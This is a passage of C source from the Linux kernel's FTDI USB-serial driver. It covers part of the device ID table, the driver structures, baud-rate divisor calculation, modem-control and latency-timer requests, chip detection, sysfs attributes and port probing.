{ USB_DEVICE(ICOM_ID1_VID, ICOM_ID1_PID) },
{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_TMU_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ACG_HFDUAL_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_YEI_SERVOCENTER31_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_THORLABS_PID) },
{ USB_DEVICE(TESTO_VID, TESTO_USB_INTERFACE_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_GAMMA_SCOUT_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_TACTRIX_OPENPORT_13M_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_TACTRIX_OPENPORT_13S_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_TACTRIX_OPENPORT_13U_PID) },
{ USB_DEVICE(ELEKTOR_VID, ELEKTOR_FT323R_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_NDI_HUC_PID),
.driver_info = (kernel_ulong_t)&ftdi_NDI_device_quirk },
{ USB_DEVICE(FTDI_VID, FTDI_NDI_SPECTRA_SCU_PID),
.driver_info = (kernel_ulong_t)&ftdi_NDI_device_quirk },
{ USB_DEVICE(FTDI_VID, FTDI_NDI_FUTURE_2_PID),
.driver_info = (kernel_ulong_t)&ftdi_NDI_device_quirk },
{ USB_DEVICE(FTDI_VID, FTDI_NDI_FUTURE_3_PID),
.driver_info = (kernel_ulong_t)&ftdi_NDI_device_quirk },
{ USB_DEVICE(FTDI_VID, FTDI_NDI_AURORA_SCU_PID),
.driver_info = (kernel_ulong_t)&ftdi_NDI_device_quirk },
{ USB_DEVICE(TELLDUS_VID, TELLDUS_TELLSTICK_PID) },
{ USB_DEVICE(RTSYSTEMS_VID, RTSYSTEMS_SERIAL_VX7_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_MAXSTREAM_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_PHI_FISCO_PID) },
{ USB_DEVICE(TML_VID, TML_USB_SERIAL_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_ELSTER_UNICOM_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_PROPOX_JTAGCABLEII_PID) },
{ USB_DEVICE(OLIMEX_VID, OLIMEX_ARM_USB_OCD_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(FIC_VID, FIC_NEO1973_DEBUG_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(FTDI_VID, FTDI_OOCDLINK_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(FTDI_VID, LMI_LM3S_DEVEL_BOARD_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(FTDI_VID, LMI_LM3S_EVAL_BOARD_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(FTDI_VID, FTDI_TURTELIZER_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(RATOC_VENDOR_ID, RATOC_PRODUCT_ID_USB60F) },
{ USB_DEVICE(FTDI_VID, FTDI_REU_TINY_PID) },
{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_QUIDO4x4_PID) },
{ USB_DEVICE(PAPOUCH_VID, PAPOUCH_AD4USB_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_DOMINTELL_DGQG_PID) },
{ USB_DEVICE(FTDI_VID, FTDI_DOMINTELL_DUSB_PID) },
{ USB_DEVICE(ALTI2_VID, ALTI2_N3_PID) },
{ USB_DEVICE(FTDI_VID, DIEBOLD_BCS_SE923_PID) },
{ USB_DEVICE(ATMEL_VID, STK541_PID) },
{ USB_DEVICE(DE_VID, STB_PID) },
{ USB_DEVICE(DE_VID, WHT_PID) },
{ USB_DEVICE(ADI_VID, ADI_GNICE_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(ADI_VID, ADI_GNICEPLUS_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(JETI_VID, JETI_SPC1201_PID) },
{ USB_DEVICE(MARVELL_VID, MARVELL_SHEEVAPLUG_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(LARSENBRUSGAARD_VID, LB_ALTITRACK_PID) },
{ USB_DEVICE(GN_OTOMETRICS_VID, AURICAL_USB_PID) },
{ USB_DEVICE(BAYER_VID, BAYER_CONTOUR_CABLE_PID) },
{ USB_DEVICE(FTDI_VID, MARVELL_OPENRD_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(FTDI_VID, HAMEG_HO820_PID) },
{ USB_DEVICE(FTDI_VID, HAMEG_HO870_PID) },
{ USB_DEVICE(FTDI_VID, MJSG_GENERIC_PID) },
{ USB_DEVICE(FTDI_VID, MJSG_SR_RADIO_PID) },
{ USB_DEVICE(FTDI_VID, MJSG_HD_RADIO_PID) },
{ USB_DEVICE(FTDI_VID, MJSG_XM_RADIO_PID) },
{ USB_DEVICE(FTDI_VID, XVERVE_SIGNALYZER_ST_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(FTDI_VID, XVERVE_SIGNALYZER_SLITE_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(FTDI_VID, XVERVE_SIGNALYZER_SH2_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(FTDI_VID, XVERVE_SIGNALYZER_SH4_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ USB_DEVICE(FTDI_VID, SEGWAY_RMP200_PID) },
{ USB_DEVICE(IONICS_VID, IONICS_PLUGCOMPUTER_PID),
.driver_info = (kernel_ulong_t)&ftdi_jtag_quirk },
{ }, /* Optional parameter entry */
{ } /* Terminating entry */
};
MODULE_DEVICE_TABLE(usb, id_table_combined);
static struct usb_driver ftdi_driver = {
.name = "ftdi_sio",
.probe = usb_serial_probe,
.disconnect = usb_serial_disconnect,
.id_table = id_table_combined,
.no_dynamic_id = 1,
};
static const char *ftdi_chip_name[] = {
[SIO] = "SIO", /* the serial part of FT8U100AX */
[FT8U232AM] = "FT8U232AM",
[FT232BM] = "FT232BM",
[FT2232C] = "FT2232C",
[FT232RL] = "FT232RL",
[FT2232H] = "FT2232H",
[FT4232H] = "FT4232H"
};
/* Used for TIOCMIWAIT */
#define FTDI_STATUS_B0_MASK (FTDI_RS0_CTS | FTDI_RS0_DSR | FTDI_RS0_RI | FTDI_RS0_RLSD)
#define FTDI_STATUS_B1_MASK (FTDI_RS_BI)
/* End TIOCMIWAIT */
#define FTDI_IMPL_ASYNC_FLAGS = (ASYNC_SPD_HI | ASYNC_SPD_VHI \
| ASYNC_SPD_CUST | ASYNC_SPD_SHI | ASYNC_SPD_WARP)
/* function prototypes for a FTDI serial converter */
static int ftdi_sio_probe(struct usb_serial *serial,
const struct usb_device_id *id);
static int ftdi_sio_port_probe(struct usb_serial_port *port);
static int ftdi_sio_port_remove(struct usb_serial_port *port);
static int ftdi_open(struct tty_struct *tty, struct usb_serial_port *port);
static void ftdi_close(struct usb_serial_port *port);
static void ftdi_dtr_rts(struct usb_serial_port *port, int on);
static void ftdi_process_read_urb(struct urb *urb);
static int ftdi_prepare_write_buffer(struct usb_serial_port *port,
void *dest, size_t size);
static void ftdi_set_termios(struct tty_struct *tty,
struct usb_serial_port *port, struct ktermios *old);
static int ftdi_tiocmget(struct tty_struct *tty, struct file *file);
static int ftdi_tiocmset(struct tty_struct *tty, struct file *file,
unsigned int set, unsigned int clear);
static int ftdi_ioctl(struct tty_struct *tty, struct file *file,
unsigned int cmd, unsigned long arg);
static void ftdi_break_ctl(struct tty_struct *tty, int break_state);
static unsigned short int ftdi_232am_baud_base_to_divisor(int baud, int base);
static unsigned short int ftdi_232am_baud_to_divisor(int baud);
static __u32 ftdi_232bm_baud_base_to_divisor(int baud, int base);
static __u32 ftdi_232bm_baud_to_divisor(int baud);
static __u32 ftdi_2232h_baud_base_to_divisor(int baud, int base);
static __u32 ftdi_2232h_baud_to_divisor(int baud);
static struct usb_serial_driver ftdi_sio_device = {
.driver = {
.owner = THIS_MODULE,
.name = "ftdi_sio",
},
.description = "FTDI USB Serial Device",
.usb_driver = &ftdi_driver,
.id_table = id_table_combined,
.num_ports = 1,
.bulk_in_size = 512,
.bulk_out_size = 256,
.probe = ftdi_sio_probe,
.port_probe = ftdi_sio_port_probe,
.port_remove = ftdi_sio_port_remove,
.open = ftdi_open,
.close = ftdi_close,
.dtr_rts = ftdi_dtr_rts,
.throttle = usb_serial_generic_throttle,
.unthrottle = usb_serial_generic_unthrottle,
.process_read_urb = ftdi_process_read_urb,
.prepare_write_buffer = ftdi_prepare_write_buffer,
.tiocmget = ftdi_tiocmget,
.tiocmset = ftdi_tiocmset,
.ioctl = ftdi_ioctl,
.set_termios = ftdi_set_termios,
.break_ctl = ftdi_break_ctl,
};
#define WDR_TIMEOUT 5000 /* default urb timeout */
#define WDR_SHORT_TIMEOUT 1000 /* shorter urb timeout */
/* High and low are for DTR, RTS etc etc */
#define HIGH 1
#define LOW 0
/*
* ***************************************************************************
* Utility functions
* ***************************************************************************
*/
static unsigned short int ftdi_232am_baud_base_to_divisor(int baud, int base)
{
unsigned short int divisor;
/* divisor shifted 3 bits to the left */
int divisor3 = base / 2 / baud;
if ((divisor3 & 0x7) == 7)
divisor3++; /* round x.7/8 up to x+1 */
divisor = divisor3 >> 3;
divisor3 &= 0x7;
if (divisor3 == 1)
divisor |= 0xc000;
else if (divisor3 >= 4)
divisor |= 0x4000;
else if (divisor3 != 0)
divisor |= 0x8000;
else if (divisor == 1)
divisor = 0; /* special case for maximum baud rate */
return divisor;
}
static unsigned short int ftdi_232am_baud_to_divisor(int baud)
{
return ftdi_232am_baud_base_to_divisor(baud, 48000000);
}
static __u32 ftdi_232bm_baud_base_to_divisor(int baud, int base)
{
static const unsigned char divfrac[8] = { 0, 3, 2, 4, 1, 5, 6, 7 };
__u32 divisor;
/* divisor shifted 3 bits to the left */
int divisor3 = base / 2 / baud;
divisor = divisor3 >> 3;
divisor |= (__u32)divfrac[divisor3 & 0x7] << 14;
/* Deal with special cases for highest baud rates. */
if (divisor == 1)
divisor = 0;
else if (divisor == 0x4001)
divisor = 1;
return divisor;
}
static __u32 ftdi_232bm_baud_to_divisor(int baud)
{
return ftdi_232bm_baud_base_to_divisor(baud, 48000000);
}
static __u32 ftdi_2232h_baud_base_to_divisor(int baud, int base)
{
static const unsigned char divfrac[8] = { 0, 3, 2, 4, 1, 5, 6, 7 };
__u32 divisor;
int divisor3;
/* hi-speed baud rate is 10-bit sampling instead of 16-bit */
divisor3 = (base / 10 / baud) * 8;
divisor = divisor3 >> 3;
divisor |= (__u32)divfrac[divisor3 & 0x7] << 14;
/* Deal with special cases for highest baud rates. */
if (divisor == 1)
divisor = 0;
else if (divisor == 0x4001)
divisor = 1;
/*
* Set this bit to turn off a divide by 2.5 on baud rate generator
* This enables baud rates up to 12Mbaud but cannot reach below 1200
* baud with this bit set
*/
divisor |= 0x00020000;
return divisor;
}
static __u32 ftdi_2232h_baud_to_divisor(int baud)
{
return ftdi_2232h_baud_base_to_divisor(baud, 120000000);
}
#define set_mctrl(port, set) update_mctrl((port), (set), 0)
#define clear_mctrl(port, clear) update_mctrl((port), 0, (clear))
static int update_mctrl(struct usb_serial_port *port, unsigned int set,
unsigned int clear)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
unsigned urb_value;
int rv;
if (((set | clear) & (TIOCM_DTR | TIOCM_RTS)) == 0) {
dbg("%s - DTR|RTS not being set|cleared", __func__);
return 0; /* no change */
}
clear &= ~set; /* 'set' takes precedence over 'clear' */
urb_value = 0;
if (clear & TIOCM_DTR)
urb_value |= FTDI_SIO_SET_DTR_LOW;
if (clear & TIOCM_RTS)
urb_value |= FTDI_SIO_SET_RTS_LOW;
if (set & TIOCM_DTR)
urb_value |= FTDI_SIO_SET_DTR_HIGH;
if (set & TIOCM_RTS)
urb_value |= FTDI_SIO_SET_RTS_HIGH;
rv = usb_control_msg(port->serial->dev,
usb_sndctrlpipe(port->serial->dev, 0),
FTDI_SIO_SET_MODEM_CTRL_REQUEST,
FTDI_SIO_SET_MODEM_CTRL_REQUEST_TYPE,
urb_value, priv->interface,
NULL, 0, WDR_TIMEOUT);
if (rv < 0) {
dbg("%s Error from MODEM_CTRL urb: DTR %s, RTS %s",
__func__,
(set & TIOCM_DTR) ? "HIGH" :
(clear & TIOCM_DTR) ? "LOW" : "unchanged",
(set & TIOCM_RTS) ? "HIGH" :
(clear & TIOCM_RTS) ? "LOW" : "unchanged");
} else {
dbg("%s - DTR %s, RTS %s", __func__,
(set & TIOCM_DTR) ? "HIGH" :
(clear & TIOCM_DTR) ? "LOW" : "unchanged",
(set & TIOCM_RTS) ? "HIGH" :
(clear & TIOCM_RTS) ? "LOW" : "unchanged");
/* FIXME: locking on last_dtr_rts */
priv->last_dtr_rts = (priv->last_dtr_rts & ~clear) | set;
}
return rv;
}
static __u32 get_ftdi_divisor(struct tty_struct *tty,
struct usb_serial_port *port)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
__u32 div_value = 0;
int div_okay = 1;
int baud;
/*
* The logic involved in setting the baudrate can be cleanly split into
* 3 steps.
* 1. Standard baud rates are set in tty->termios->c_cflag
* 2. If these are not enough, you can set any speed using alt_speed as
* follows:
* - set tty->termios->c_cflag speed to B38400
* - set your real speed in tty->alt_speed; it gets ignored when
* alt_speed==0, (or)
* - call TIOCSSERIAL ioctl with (struct serial_struct) set as
* follows:
* flags & ASYNC_SPD_MASK == ASYNC_SPD_[HI, VHI, SHI, WARP],
* this just sets alt_speed to (HI: 57600, VHI: 115200,
* SHI: 230400, WARP: 460800)
* ** Steps 1, 2 are done courtesy of tty_get_baud_rate
* 3. You can also set baud rate by setting custom divisor as follows
* - set tty->termios->c_cflag speed to B38400
* - call TIOCSSERIAL ioctl with (struct serial_struct) set as
* follows:
* o flags & ASYNC_SPD_MASK == ASYNC_SPD_CUST
* o custom_divisor set to baud_base / your_new_baudrate
* ** Step 3 is done courtesy of code borrowed from serial.c
* I should really spend some time and separate + move this common
* code to serial.c, it is replicated in nearly every serial driver
* you see.
*/
/* 1. Get the baud rate from the tty settings, this observes
alt_speed hack */
baud = tty_get_baud_rate(tty);
dbg("%s - tty_get_baud_rate reports speed %d", __func__, baud);
/* 2. Observe async-compatible custom_divisor hack, update baudrate
if needed */
if (baud == 38400 &&
((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_CUST) &&
(priv->custom_divisor)) {
baud = priv->baud_base / priv->custom_divisor;
dbg("%s - custom divisor %d sets baud rate to %d",
__func__, priv->custom_divisor, baud);
}
/* 3. Convert baudrate to device-specific divisor */
if (!baud)
baud = 9600;
switch (priv->chip_type) {
case SIO: /* SIO chip */
switch (baud) {
case 300: div_value = ftdi_sio_b300; break;
case 600: div_value = ftdi_sio_b600; break;
case 1200: div_value = ftdi_sio_b1200; break;
case 2400: div_value = ftdi_sio_b2400; break;
case 4800: div_value = ftdi_sio_b4800; break;
case 9600: div_value = ftdi_sio_b9600; break;
case 19200: div_value = ftdi_sio_b19200; break;
case 38400: div_value = ftdi_sio_b38400; break;
case 57600: div_value = ftdi_sio_b57600; break;
case 115200: div_value = ftdi_sio_b115200; break;
} /* baud */
if (div_value == 0) {
dbg("%s - Baudrate (%d) requested is not supported",
__func__, baud);
div_value = ftdi_sio_b9600;
baud = 9600;
div_okay = 0;
}
break;
case FT8U232AM: /* 8U232AM chip */
if (baud <= 3000000) {
div_value = ftdi_232am_baud_to_divisor(baud);
} else {
dbg("%s - Baud rate too high!", __func__);
baud = 9600;
div_value = ftdi_232am_baud_to_divisor(9600);
div_okay = 0;
}
break;
case FT232BM: /* FT232BM chip */
case FT2232C: /* FT2232C chip */
case FT232RL:
if (baud <= 3000000) {
__u16 product_id = le16_to_cpu(
port->serial->dev->descriptor.idProduct);
if (((FTDI_NDI_HUC_PID == product_id) ||
(FTDI_NDI_SPECTRA_SCU_PID == product_id) ||
(FTDI_NDI_FUTURE_2_PID == product_id) ||
(FTDI_NDI_FUTURE_3_PID == product_id) ||
(FTDI_NDI_AURORA_SCU_PID == product_id)) &&
(baud == 19200)) {
baud = 1200000;
}
div_value = ftdi_232bm_baud_to_divisor(baud);
} else {
dbg("%s - Baud rate too high!", __func__);
div_value = ftdi_232bm_baud_to_divisor(9600);
div_okay = 0;
baud = 9600;
}
break;
case FT2232H: /* FT2232H chip */
case FT4232H: /* FT4232H chip */
if ((baud <= 12000000) & (baud >= 1200)) {
div_value = ftdi_2232h_baud_to_divisor(baud);
} else if (baud < 1200) {
div_value = ftdi_232bm_baud_to_divisor(baud);
} else {
dbg("%s - Baud rate too high!", __func__);
div_value = ftdi_232bm_baud_to_divisor(9600);
div_okay = 0;
baud = 9600;
}
break;
} /* priv->chip_type */
if (div_okay) {
dbg("%s - Baud rate set to %d (divisor 0x%lX) on chip %s",
__func__, baud, (unsigned long)div_value,
ftdi_chip_name[priv->chip_type]);
}
tty_encode_baud_rate(tty, baud, baud);
return div_value;
}
static int change_speed(struct tty_struct *tty, struct usb_serial_port *port)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
__u16 urb_value;
__u16 urb_index;
__u32 urb_index_value;
int rv;
urb_index_value = get_ftdi_divisor(tty, port);
urb_value = (__u16)urb_index_value;
urb_index = (__u16)(urb_index_value >> 16);
if (priv->interface) { /* FT2232C */
urb_index = (__u16)((urb_index << 8) | priv->interface);
}
rv = usb_control_msg(port->serial->dev,
usb_sndctrlpipe(port->serial->dev, 0),
FTDI_SIO_SET_BAUDRATE_REQUEST,
FTDI_SIO_SET_BAUDRATE_REQUEST_TYPE,
urb_value, urb_index,
NULL, 0, WDR_SHORT_TIMEOUT);
return rv;
}
static int write_latency_timer(struct usb_serial_port *port)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
struct usb_device *udev = port->serial->dev;
int rv;
int l = priv->latency;
if (priv->flags & ASYNC_LOW_LATENCY)
l = 1;
dbg("%s: setting latency timer = %i", __func__, l);
rv = usb_control_msg(udev,
usb_sndctrlpipe(udev, 0),
FTDI_SIO_SET_LATENCY_TIMER_REQUEST,
FTDI_SIO_SET_LATENCY_TIMER_REQUEST_TYPE,
l, priv->interface,
NULL, 0, WDR_TIMEOUT);
if (rv < 0)
dev_err(&port->dev, "Unable to write latency timer: %i\n", rv);
return rv;
}
static int read_latency_timer(struct usb_serial_port *port)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
struct usb_device *udev = port->serial->dev;
unsigned char *buf;
int rv;
dbg("%s", __func__);
buf = kmalloc(1, GFP_KERNEL);
if (!buf)
return -ENOMEM;
rv = usb_control_msg(udev,
usb_rcvctrlpipe(udev, 0),
FTDI_SIO_GET_LATENCY_TIMER_REQUEST,
FTDI_SIO_GET_LATENCY_TIMER_REQUEST_TYPE,
0, priv->interface,
buf, 1, WDR_TIMEOUT);
if (rv < 0)
dev_err(&port->dev, "Unable to read latency timer: %i\n", rv);
else
priv->latency = buf[0];
kfree(buf);
return rv;
}
static int get_serial_info(struct usb_serial_port *port,
struct serial_struct __user *retinfo)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
struct serial_struct tmp;
if (!retinfo)
return -EFAULT;
memset(&tmp, 0, sizeof(tmp));
tmp.flags = priv->flags;
tmp.baud_base = priv->baud_base;
tmp.custom_divisor = priv->custom_divisor;
if (copy_to_user(retinfo, &tmp, sizeof(*retinfo)))
return -EFAULT;
return 0;
}
static int set_serial_info(struct tty_struct *tty,
struct usb_serial_port *port, struct serial_struct __user *newinfo)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
struct serial_struct new_serial;
struct ftdi_private old_priv;
if (copy_from_user(&new_serial, newinfo, sizeof(new_serial)))
return -EFAULT;
mutex_lock(&priv->cfg_lock);
old_priv = *priv;
/* Do error checking and permission checking */
if (!capable(CAP_SYS_ADMIN)) {
if (((new_serial.flags & ~ASYNC_USR_MASK) !=
(priv->flags & ~ASYNC_USR_MASK))) {
mutex_unlock(&priv->cfg_lock);
return -EPERM;
}
priv->flags = ((priv->flags & ~ASYNC_USR_MASK) |
(new_serial.flags & ASYNC_USR_MASK));
priv->custom_divisor = new_serial.custom_divisor;
goto check_and_exit;
}
if ((new_serial.baud_base != priv->baud_base) &&
(new_serial.baud_base < 9600)) {
mutex_unlock(&priv->cfg_lock);
return -EINVAL;
}
/* Make the changes - these are privileged changes! */
priv->flags = ((priv->flags & ~ASYNC_FLAGS) |
(new_serial.flags & ASYNC_FLAGS));
priv->custom_divisor = new_serial.custom_divisor;
write_latency_timer(port);
check_and_exit:
if ((old_priv.flags & ASYNC_SPD_MASK) !=
(priv->flags & ASYNC_SPD_MASK)) {
if ((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_HI)
tty->alt_speed = 57600;
else if ((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_VHI)
tty->alt_speed = 115200;
else if ((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_SHI)
tty->alt_speed = 230400;
else if ((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_WARP)
tty->alt_speed = 460800;
else
tty->alt_speed = 0;
}
if (((old_priv.flags & ASYNC_SPD_MASK) !=
(priv->flags & ASYNC_SPD_MASK)) ||
(((priv->flags & ASYNC_SPD_MASK) == ASYNC_SPD_CUST) &&
(old_priv.custom_divisor != priv->custom_divisor))) {
change_speed(tty, port);
mutex_unlock(&priv->cfg_lock);
}
else
mutex_unlock(&priv->cfg_lock);
return 0;
}
/* Determine type of FTDI chip based on USB config and descriptor. */
static void ftdi_determine_type(struct usb_serial_port *port)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
struct usb_serial *serial = port->serial;
struct usb_device *udev = serial->dev;
unsigned version;
unsigned interfaces;
/* Assume it is not the original SIO device for now. */
priv->baud_base = 48000000 / 2;
version = le16_to_cpu(udev->descriptor.bcdDevice);
interfaces = udev->actconfig->desc.bNumInterfaces;
dbg("%s: bcdDevice = 0x%x, bNumInterfaces = %u", __func__,
version, interfaces);
if (interfaces > 1) {
int inter;
/* Multiple interfaces.*/
if (version == 0x0800) {
priv->chip_type = FT4232H;
/* Hi-speed - baud clock runs at 120MHz */
priv->baud_base = 120000000 / 2;
} else if (version == 0x0700) {
priv->chip_type = FT2232H;
/* Hi-speed - baud clock runs at 120MHz */
priv->baud_base = 120000000 / 2;
} else
priv->chip_type = FT2232C;
/* Determine interface code. */
inter = serial->interface->altsetting->desc.bInterfaceNumber;
if (inter == 0) {
priv->interface = INTERFACE_A;
} else if (inter == 1) {
priv->interface = INTERFACE_B;
} else if (inter == 2) {
priv->interface = INTERFACE_C;
} else if (inter == 3) {
priv->interface = INTERFACE_D;
}
/* BM-type devices have a bug where bcdDevice gets set
* to 0x200 when iSerialNumber is 0. */
if (version < 0x500) {
dbg("%s: something fishy - bcdDevice too low for multi-interface device",
__func__);
}
} else if (version < 0x200) {
/* Old device. Assume it's the original SIO. */
priv->chip_type = SIO;
priv->baud_base = 12000000 / 16;
} else if (version < 0x400) {
/* Assume it's an FT8U232AM (or FT8U245AM) */
/* (It might be a BM because of the iSerialNumber bug,
* but it will still work as an AM device.) */
priv->chip_type = FT8U232AM;
} else if (version < 0x600) {
/* Assume it's an FT232BM (or FT245BM) */
priv->chip_type = FT232BM;
} else {
/* Assume it's an FT232R */
priv->chip_type = FT232RL;
}
dev_info(&udev->dev, "Detected %s\n", ftdi_chip_name[priv->chip_type]);
}
/* Determine the maximum packet size for the device. This depends on the chip
* type and the USB host capabilities. The value should be obtained from the
* device descriptor as the chip will use the appropriate values for the host.*/
static void ftdi_set_max_packet_size(struct usb_serial_port *port)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
struct usb_serial *serial = port->serial;
struct usb_device *udev = serial->dev;
struct usb_interface *interface = serial->interface;
struct usb_endpoint_descriptor *ep_desc = &interface->cur_altsetting->endpoint[1].desc;
unsigned num_endpoints;
int i;
num_endpoints = interface->cur_altsetting->desc.bNumEndpoints;
dev_info(&udev->dev, "Number of endpoints %d\n", num_endpoints);
/* NOTE: some customers have programmed FT232R/FT245R devices
* with an endpoint size of 0 - not good. In this case, we
* want to override the endpoint descriptor setting and use a
* value of 64 for wMaxPacketSize */
for (i = 0; i < num_endpoints; i++) {
dev_info(&udev->dev, "Endpoint %d MaxPacketSize %d\n", i+1,
interface->cur_altsetting->endpoint[i].desc.wMaxPacketSize);
ep_desc = &interface->cur_altsetting->endpoint[i].desc;
if (ep_desc->wMaxPacketSize == 0) {
ep_desc->wMaxPacketSize = cpu_to_le16(0x40);
dev_info(&udev->dev, "Overriding wMaxPacketSize on endpoint %d\n", i);
}
}
/* set max packet size based on descriptor */
priv->max_packet_size = le16_to_cpu(ep_desc->wMaxPacketSize);
dev_info(&udev->dev, "Setting MaxPacketSize %d\n", priv->max_packet_size);
}
/*
* ***************************************************************************
* Sysfs Attribute
* ***************************************************************************
*/
static ssize_t show_latency_timer(struct device *dev,
struct device_attribute *attr, char *buf)
{
struct usb_serial_port *port = to_usb_serial_port(dev);
struct ftdi_private *priv = usb_get_serial_port_data(port);
if (priv->flags & ASYNC_LOW_LATENCY)
return sprintf(buf, "1\n");
else
return sprintf(buf, "%i\n", priv->latency);
}
/* Write a new value of the latency timer, in units of milliseconds. */
static ssize_t store_latency_timer(struct device *dev,
struct device_attribute *attr, const char *valbuf,
size_t count)
{
struct usb_serial_port *port = to_usb_serial_port(dev);
struct ftdi_private *priv = usb_get_serial_port_data(port);
int v = simple_strtoul(valbuf, NULL, 10);
int rv;
priv->latency = v;
rv = write_latency_timer(port);
if (rv < 0)
return -EIO;
return count;
}
/* Write an event character directly to the FTDI register. The ASCII
value is in the low 8 bits, with the enable bit in the 9th bit. */
static ssize_t store_event_char(struct device *dev,
struct device_attribute *attr, const char *valbuf, size_t count)
{
struct usb_serial_port *port = to_usb_serial_port(dev);
struct ftdi_private *priv = usb_get_serial_port_data(port);
struct usb_device *udev = port->serial->dev;
int v = simple_strtoul(valbuf, NULL, 10);
int rv;
dbg("%s: setting event char = %i", __func__, v);
rv = usb_control_msg(udev,
usb_sndctrlpipe(udev, 0),
FTDI_SIO_SET_EVENT_CHAR_REQUEST,
FTDI_SIO_SET_EVENT_CHAR_REQUEST_TYPE,
v, priv->interface,
NULL, 0, WDR_TIMEOUT);
if (rv < 0) {
dbg("Unable to write event character: %i", rv);
return -EIO;
}
return count;
}
static DEVICE_ATTR(latency_timer, S_IWUSR | S_IRUGO, show_latency_timer,
store_latency_timer);
static DEVICE_ATTR(event_char, S_IWUSR, NULL, store_event_char);
static int create_sysfs_attrs(struct usb_serial_port *port)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
int retval = 0;
dbg("%s", __func__);
/* XXX I've no idea if the original SIO supports the event_char
* sysfs parameter, so I'm playing it safe. */
if (priv->chip_type != SIO) {
dbg("sysfs attributes for %s", ftdi_chip_name[priv->chip_type]);
retval = device_create_file(&port->dev, &dev_attr_event_char);
if ((!retval) &&
(priv->chip_type == FT232BM ||
priv->chip_type == FT2232C ||
priv->chip_type == FT232RL ||
priv->chip_type == FT2232H ||
priv->chip_type == FT4232H)) {
retval = device_create_file(&port->dev,
&dev_attr_latency_timer);
}
}
return retval;
}
static void remove_sysfs_attrs(struct usb_serial_port *port)
{
struct ftdi_private *priv = usb_get_serial_port_data(port);
dbg("%s", __func__);
/* XXX see create_sysfs_attrs */
if (priv->chip_type != SIO) {
device_remove_file(&port->dev, &dev_attr_event_char);
if (priv->chip_type == FT232BM ||
priv->chip_type == FT2232C ||
priv->chip_type == FT232RL ||
priv->chip_type == FT2232H ||
priv->chip_type == FT4232H) {
device_remove_file(&port->dev, &dev_attr_latency_timer);
}
}
}
/*
* ***************************************************************************
* FTDI driver specific functions
* ***************************************************************************
*/
/* Probe function to check for special devices */
static int ftdi_sio_probe(struct usb_serial *serial,
const struct usb_device_id *id)
{
struct ftdi_sio_quirk *quirk =
(struct ftdi_sio_quirk *)id->driver_info;
if (quirk && quirk->probe) {
int ret = quirk->probe(serial);
if (ret != 0)
return ret;
}
usb_set_serial_data(serial, (void *)id->driver_info);
return 0;
}
static int ftdi_sio_port_probe(struct usb_serial_port *port)
{
struct ftdi_private *priv;
struct ftdi_sio_quirk *quirk = usb_get_serial_data(port->serial);
dbg("%s", __func__);
priv = kzalloc(sizeof(struct ftdi_private), GFP_KERNEL);
if (!priv) {
dev_err(&port->dev, "%s- kmalloc(%Zd) failed.\n", __func__,
sizeof(struct ftdi_private));
return -ENOMEM;
}
kref_init(&priv->kref);
mutex_init(&priv->cfg_lock);
init_waitqueue_head(&priv->delta_msr_wait);
priv->flags = ASYNC_LOW_LATENCY;
if (quirk && quirk->port_probe)
quirk->port_probe(priv);
priv->port = port;
usb_set_serial_port_data(port, priv);
ftdi_determine_type(port);
ftdi_set_max_packet_size(port);
if (read_latency_timer(port) < 0)
priv->latency = 16;
create_sysfs_attrs(port);
return 0;
}
/* Setup for the USB-UIRT device, which requires hardwired
* baudrate (38400 gets mapped to 312500) */
/* Called from usbserial:serial_probe */
static void ftdi_USB_UIRT_setup(struct ftdi_private *priv)
{
dbg("%s", __func__);
priv->flags |= ASYNC_SPD_CUST;
priv->custom_divisor = 77;
priv->force_baud = 38400;
}
/* Setup for the HE-TIRA1 device, which requires hardwired
* baudrate (38400 gets mapped to 100000) and RTS-CTS enabled. */
static void ftdi_HE_TIRA1_setup(struct ftdi_private *priv)
{
